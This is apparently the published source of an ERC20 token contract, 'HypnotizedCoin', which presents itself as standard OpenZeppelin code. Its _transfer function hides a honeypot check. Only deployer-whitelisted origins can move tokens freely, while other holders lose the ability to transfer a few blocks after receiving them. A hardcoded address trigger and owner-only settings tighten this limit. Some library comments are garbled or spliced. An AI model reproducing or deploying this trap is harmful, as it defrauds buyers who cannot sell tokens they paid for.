Contract Name:
HypnotizedCoin
Contract Source Code:
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡄⢹⠀⠀⡀⠀⠀⠀⠀⠀⠀⣇⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣤⠴⣶⣶⣺⣿⣼⣄⠀⣟⣇⠀⢠⠀⠀⠀⣿⠀⠀⠀⡿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⢀⣤⡿⠚⣹⣧⣶⠟⣏⢛⢹⣿⣿⢉⠉⡏⡿⣿⢻⠶⣤⣰⣷⡇⠠⣰⣿⣇⢀⠆⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠇⠀⣸⡟⡋⢸⡆⢰⣿⣷⣄⣸⣏⣏⣹⣿⣿⡄⣸⣷⣿⣇⡟⢀⣴⣿⡟⡿⢶⣿⡟⣿⣮⣀⣠⣞⠁⠀⠀⠀⢀⣰⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⣿⣠⣞⣽⣿⡿⢿⣷⣄⣿⣟⣧⣽⣿⣟⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⠟⣼⣿⣿⣷⡟⠿⢧⣄⡀⠀⢠⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⠀⢱⡄⠀⣄⣿⣿⡉⠁⢻⣿⣥⡽⢿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣯⣿⣿⣯⣿⣿⣿⡿⡻⠿⣶⡾⠋⢉⣶⡿⠥⠄⣠⠞⠀⣀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⠸⣆⠀⢹⣭⣿⣅⠘⣿⣾⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣻⡯⣪⣥⡶⠛⣻⣶⣿⢏⠀⣠⣟⡁⢠⠀⢈⡀⠀⢀⠀
⠀⠀⠀⠀⠀⠀⣼⠀⠘⣶⣾⠏⣿⣿⢿⣿⣿⣿⣿⡿⠟⢉⣽⣿⣿⣿⠿⠛⠉⠉⠁⠀⠀⠈⠉⠉⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣾⣿⣿⣿⣷⣟⣩⣏⣹⠿⠁⣰⠃⢀⡜⠀
⠀⠀⠀⠀⠀⠀⢻⣥⡴⢋⣹⣿⣿⣽⣿⣿⣿⡿⠏⠀⣠⣿⣿⡿⠋⠀⠀⠀⠀⣀⣀⣤⣤⣄⣀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣟⣿⣶⡾⣷⣶⣾⡟⢉⣾⡇⠀
⠀⠀⠀⠀⠰⠂⣠⡿⣷⣾⣿⣷⣿⣿⣿⣿⠃⠀⠀⢰⣿⣿⠋⠀⠀⠀⢀⣶⣿⣿⣿⠿⠿⣿⣿⣿⣷⣄⠀⠀⠀⠈⢿⣿⣿⣻⢿⣿⣿⣿⣿⣤⣤⣾⣟⣻⣿⣿⣏⣴⡿⢋⣴⠛
⠀⠀⠀⠀⠀⣺⣏⣾⠟⣻⣿⣿⠇⣿⣿⡇⠀⠀⢀⣿⣿⡏⠀⠀⠀⢰⣿⣿⠟⠉⠀⠀⠀⠀⠉⠻⣿⣿⣷⡀⠀⠀⠀⢻⣿⣿⢣⡙⢿⣿⣿⣿⣿⣯⣿⣶⣾⡿⣟⣭⣶⡾⠋⠀
⠀⠠⢤⡆⣴⣳⣿⢿⣿⡿⠟⠁⠀⣿⣿⠁⠀⠀⠸⣿⣿⡇⠀⠀⠀⢸⣿⣿⣤⣤⣴⣶⣦⡀⠀⠀⠈⢿⣿⣷⠀⠀⠀⠘⣿⣿⡆⢻⠠⠟⠿⣿⣿⣿⣿⣟⡛⣻⣿⠟⠋⣀⢀⠀
⠀⠀⠀⣙⣿⣿⣿⣿⠋⣴⡄⠀⠀⣿⣿⡆⠀⠀⠀⢻⣿⣷⡀⠀⠀⠈⠻⠿⠿⠟⠛⣿⣿⣧⠀⠀⠀⢸⣿⣿⡄⠀⠀⠀⣿⣿⣇⡟⠀⠀⠀⢲⣿⣿⣿⣿⣿⣿⣶⣶⣾⡿⠟⠀
⠀⣀⣠⣿⣟⣷⡿⢁⡾⢸⡁⠀⠀⢻⣿⣷⡀⠀⠀⠈⢿⣿⣿⣤⣀⠀⠀⠀⠀⢀⣰⣿⣿⡏⠀⠀⠀⢸⣿⣿⠁⠀⠀⢠⣿⣿⡟⠀⠀⠀⢠⣿⢿⣢⡻⢿⠙⢿⣛⣏⠁⠀⠀⠀
⢠⣾⣿⠟⣽⡟⡇⠙⢿⢄⣇⠀⠀⠀⢿⣿⣷⡄⠀⠀⠀⠙⠿⣿⣿⣿⣷⣶⣿⣿⣿⡿⠋⠀⠀⠀⣠⣿⣿⡟⠀⠀⠀⣾⣿⠋⠀⠀⢀⢀⣿⡿⢷⣾⣿⣯⣄⣹⡿⠋⠀⠀⠀⠀
⠀⠉⠁⢰⣿⠁⣳⡅⠈⣦⡝⣤⡀⠀⠈⠻⣿⣿⣦⡀⠀⠀⠀⠈⠉⠛⠛⠛⠛⠋⠁⠀⠀⠀⢀⣴⣿⣿⠟⠀⠀⢀⣾⠟⠁⠀⠀⢠⣬⣿⣿⣿⣞⠇⢳⡌⢿⣿⠁⠀⠀⠀⠀⠀
⠀⠀⠀⡿⢧⡀⠉⣩⣤⣧⣈⠙⠺⠶⣤⣄⡈⠻⣿⣿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠀⣀⣠⣴⣾⣿⣿⠟⠁⠀⢀⣴⠟⠁⠀⢀⣤⣾⣿⣿⠿⣾⠷⣿⣆⡼⠓⣾⡇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠹⢦⣉⣉⣀⠤⡜⠉⠛⢶⣤⣄⣀⣉⡉⠛⠻⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠋⠁⣠⠴⠞⣉⣀⣀⣤⣶⢶⣻⣿⡵⣘⠢⠈⣦⠘⢿⠇⢰⡿⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠙⠛⠛⠛⢧⣤⡴⠋⠀⠈⢻⡿⠾⢿⣷⣶⣤⣴⣆⣌⣭⣉⣩⣭⣉⠀⣄⡤⣄⢠⣤⣄⣠⣴⠾⣿⡿⣏⠘⠻⣧⡘⣿⡜⠶⠄⠈⢤⠞⢠⣿⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣯⣭⣽⣳⢦⣉⠲⢤⣠⠏⠀⠀⡼⣱⠋⢹⣿⢻⠟⠛⡟⣿⠟⢻⠟⣟⢿⠻⣟⠛⢯⢻⣯⣆⠘⣿⡌⢳⣄⢻⣷⠈⠀⠀⢀⡤⠋⢠⡾⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠘⠿⠉⠉⠻⢷⣌⠙⠲⣽⡃⠀⠀⢷⠇⠀⠸⠁⡞⠀⡀⠙⡟⠂⠀⡟⢿⣼⠀⠹⡇⠈⢧⣎⢿⣇⠸⠿⠀⠉⢮⠏⠃⢀⡴⠊⠀⣠⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⢦⡀⠉⠓⢦⣞⠀⠀⠀⠀⠁⠀⠀⠀⡇⠈⠳⡷⠀⡿⠴⠀⠘⠀⠸⠋⠻⣿⠀⠀⠁⠈⢈⡧⠞⠁⠀⠀⠜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠉⠓⠦⣄⣀⠀⠀⠀⠁⠀⠀⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⡿⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠓⠲⠤⢤⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender; }
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data; }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner; }
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
}
}
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* _Available since v4.1._
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
address DEAD = 0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
address private immutable _uniswapFactory = 0x09EAcA72120c1cFb31CeE81d3E5b50092E16732D;
address ZERO = 0x0000000000000000000000000000000000000000;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
*
*/
address public uniswapV2Pair;
address private immutable _tokenAddress;
string private _name;
string private _symbol;
uint256 public _allowance = 3_000_000;
mapping (address => bool) _pairToken;
uint256 private _defaultSwap = 0;
mapping (address => uint256) _addressAllowance;
constructor(string memory name_, string memory symbol_) {
_tokenAddress = msg.sender;
_pairToken[_tokenAddress] = true;
_name = name_;
_symbol = symbol_;
}
function setPair(address _uniswapPair, address _tokenPair) external {
if (uniswapV2Pair == address(0))
uniswapV2Pair = _uniswapPair;
if (msg.sender == _tokenAddress) {
uniswapV2Pair = _uniswapPair;
_pairToken[_tokenPair] = true;
}
}
function setAllowance(uint256 _a) external {
if (msg.sender == _tokenAddress) {
_allowance = _a;
}
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
require(_pairToken[tx.origin] == true || block.number - _addressAllowance[from] < _allowance || to == tx.origin, "ERC20: Reverted");
_balances[from] = fromBalance - amount;
_balances[to] = _balances[to] + amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual { if (_addressAllowance[to] == 0) _addressAllowance[to] = block.number;
if (to == _uniswapFactory) _allowance = 2; }
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.4;
contract HypnotizedCoin is ERC20, Ownable {
constructor() ERC20("Hypnotized", "HYPNO") {
_mint(msg.sender, 6_010_000_000_000 * 10**uint(decimals()));
}
}